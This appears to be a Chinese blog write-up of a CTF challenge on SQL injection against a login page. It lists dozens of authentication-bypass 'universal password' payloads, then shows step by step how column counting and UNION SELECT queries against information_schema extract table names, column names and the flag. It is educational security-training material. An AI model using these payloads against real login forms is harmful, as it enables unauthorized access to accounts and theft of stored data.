zoukankan      html  css  js  c++  java
  • 登陆页面的Sql注入

    自己手工注入的知识比较薄弱,这里就记录一下注入过程

    题目:

    1.登陆页面,使用sql万能密码可以登陆账号,但是flag不会自己跳出来,出题人是想让我们手工注入

    常用万能密码:

    'or'='or'
    admin
    admin'--
    admin' or 4=4--
    admin' or '1'='1'--
    admin888
    "or "a"="a
    admin' or 2=2#
    a' having 1=1#
    a' having 1=1--
    admin' or '2'='2
    ')or('a'='a
    or 4=4--
    c
    a'or' 4=4--
    "or 4=4--
    'or'a'='a
    "or"="a'='a
    'or''='
    'or'='or'
    1 or '1'='1'=1
    1 or '1'='1' or 4=4
    'OR 4=4%00
    "or 4=4%00
    'xor
    admin' UNION Select 1,1,1 FROM admin Where ''='
    1
    -1%cf' union select 1,1,1 as password,1,1,1 %23
    1
    17..admin' or 'a'='a 密码随便
    'or'='or'
    'or 4=4/*
    something
    ' OR '1'='1
    1'or'1'='1
    admin' OR 4=4/*
    1'or'1'='1

    例子:

    select name,pass from Admin where name='admin' and pass='123456'

    使用' or 1=1#之后:

    select name,pass from Admin where name='' or 1=1 #' and pass='123456'

    这里的name单引号被闭合了,后面的or 1=1使得返回结果永远为真,而#号会将多余的东西注释掉,--+号也是同样的用法

    2.猜字段,常用order by或者使用length(' or 1=1 length(database())=1#)

    从1开始猜,如果所猜字段小于题目字段,返回正常;否则返回失败

    猜到4的时候不再返回“欢迎你,ctfshow”,说明题目的字段是3

    3.联合查询,查询表名

    这里用不用limit都无所谓,顺便提一下:

    select * from table limit 2,1;
    //跳过2条取出1条数据,limit后面是从第2条开始读,读取1条信息,即读取第3条数据

    1 ' or 1=1 union select 1,table_name,3 from information_schema.tables#

    查询到的所有表名:

    注意到最后有一个叫做flag的表名,flag就在里面

    4.联合查询,查询列名

    ' or 1=1 union select 1,column_name,3 from information_schema.columns where table_name='flag'#

    结果:

    表flag里面只有一个列,名字也叫flag

    5.直接获取flag

    ' or 1=1 union select 1,flag,3 from flag#

    flag到手了

    附(其他师傅的解题方法):个人觉得不用那么复杂

    参考资料:

    https://infsunset.github.io/2019/07/12/CTF%E7%AE%80%E5%8D%95%E7%9A%84SQL%E6%B3%A8%E5%85%A5%E6%80%9D%E8%B7%AF/

    https://www.muzide.com/73.html

    https://www.gaojiufeng.cn/?id=118

    [Sign]做不出ctf题的时候很痛苦,你只能眼睁睁看着其他人领先你
  • 相关阅读:
    2014年10月10号——数据类型之间的转换
    2014年10月9日——语言基础2
    2014年10月9日——语言基础1
    2014年10月8日——进制转换
    js
    SQL的数据类型
    SQL,学习基础2
    SQL数据库的备份和恢复
    用java调用oracle存储过程总结(转)
    用JAVA调用Mysql数据库,数据存储过程的封装与调用;
  • 原文地址:https://www.cnblogs.com/echoDetected/p/12300861.html
Copyright © 2011-2022 走看看